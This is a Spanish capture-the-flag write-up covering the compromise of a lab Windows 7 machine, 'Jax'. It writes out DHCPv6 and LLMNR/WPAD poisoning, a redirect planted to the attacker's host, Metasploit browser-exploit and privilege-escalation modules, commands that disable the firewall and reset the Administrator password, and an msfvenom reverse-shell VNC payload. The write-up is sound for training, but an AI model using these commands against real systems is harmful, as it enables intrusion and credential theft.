CTF Hackplayers 2018 - Jax

Maquina ‘Jax’ 10.42.0.152

$ nmap -sV 10.42.0.153
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5

Esta máquina solo dispone del servicio IIS visible desde el exterior. Después de realizar fuzzing de archivos con casi todos los diccionarios de Seclists no se encuentra absolutamente nada.

Si enchufamos Wireshark aparecen algunas comunicaciones broadcast de Jax, como peticiones LLMNR, NBT-NS y DHCPv6.

Con la herramienta Responder intentamos envenenar las peticiones LLMNR y NBT-NS, pero con ello no se consigue recibir ninguna conexión SMB o HTTP.

Probamos a montar un servidor DHCPv6 con dnsmasq, y habilitamos ip forwarding en nuestra maquina.

$ ifconfig tap0 inet6 add 1234::1/64
$ cat dnsmasq.conf
bogus-priv
interface=tap0
dhcp-range=::100,::1ff,constructor:em1
enable-ra
dhcp-option=option6:dns-server,[1234::1]
log-queries
log-dhcp
$ sysctl -w net.ipv6.conf.all.forwarding=1
$ sysctl -w net.ipv4.ip_forward=1
$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

En menos de un minuto la maquina Jax envia una solicitud DHCPv6 y se le asigna la ip 1234::26b.

No será hasta un buen rato después que aparecerá una petición LLMNR para wpad, permitiendonos obtener el hash NetNTLMv2 del usuario Ihacklabs y además capturar todo el tráfico HTTP a partir de ese momento. El resultado que se obtiene de este hash es una contraseña vacía.

En el tráfico interceptado por Wireshark aparece una petición HTTP a http://10.42.0.153/wordpress/cepheus.html.

Aunque yo encontré la petición HTTP de esta forma, era mucho mas fácil realizar un ataque de envenenamiento ARP a la maquina Jax para interceptar todo su tráfico.

El archivo cepheus.html se encuentra en la maquina Sammy a la que hemos conseguido acceso anteriormente, aunque en el caso de no haber tenido acceso a esta maquina se podría haber modificado la respuesta con el proxy WPAD o con el envenenamiento ARP.

Si revisamos el log de Apache en Sammy vemos que la petición se realiza cada 5 minutos, ademas el User-Agent corresponde a Internet Explorer 8 en un Windows 7. Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)

Modificamos el archivo para realizar una redirección a nuestra maquina.

<meta http-equiv="refresh" content="0;URL='http://10.41.0.201/'" />    

Dentro de metasploit existen varios exploits para el navegador Internet Explorer 8. Entre ellos, muchos necesitan Java instalado en la máquina objetivo, por lo que podemos descartarlos. El que mejor se adapta a nuestro escenario es “MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free”, si nos fijamos en su descripción funciona con la versión de .NET 2.0.50727, que coincide con la que muestra el User-Agent.

Description:
  This module exploits a memory corruption vulnerability within 
  Microsoft\'s HTML engine (mshtml). When parsing an HTML page 
  containing a recursive CSS import, a C++ object is deleted and later 
  reused. This leads to arbitrary code execution. This exploit 
  utilizes a combination of heap spraying and the .NET 2.0 
  'mscorie.dll' module to bypass DEP and ASLR. This module does not 
  opt-in to ASLR. As such, this module should be reliable on all 
  Windows versions with .NET 2.0.50727 installed.

Exploit

use exploit/windows/browser/ms11_003_ie_css_import

Una vez accedemos, podemos leer el flag que se encuentra en el escritorio del usuario Ihacklabs.

Elevar

use exploit/windows/local/ms10_015_kitrap0d

Deshabilitar firewall

Deshabilitamos el firewall para poder acceder remotamente a la maquina.

netsh firewall set opmode mode=disable

Habilitar usuario ‘Administrator’

Activamos el usuario Administrator y cambiamos su contraseña.

net user Administrator Patatas123 /active:yes

Acceso con winexe

Ahora no dependemos del exploit para acceder a la maquina en el caso de que perdamos la conexión.

Habilitar RDP

Se intentó habilitar el servicio RDP, pero al ser una licencia Windows Home, este servicio no esta disponible.

Acceso por VNC

Generamos un ejecutable y lo subimos a través de SMB. Una vez subido lo ejecutamos para conseguir una sesión de VNC en Jax.

$ msfvenom  -p windows/vncinject/reverse_tcp LHOST=10.42.0.201 LPORT=4445 -f exe > vnc.exe
$ smbclient '//10.42.0.152/C$' -U 'administrator%Patatas123'
put vnc.exe

VirtualBox

La prueba de exploiting era bastante sencilla, consistía en acceder a una maquina virtual con VirtualBox y modificando el grub conseguir una consola para leer la flag.

linux .... init=/bin/bash

Jax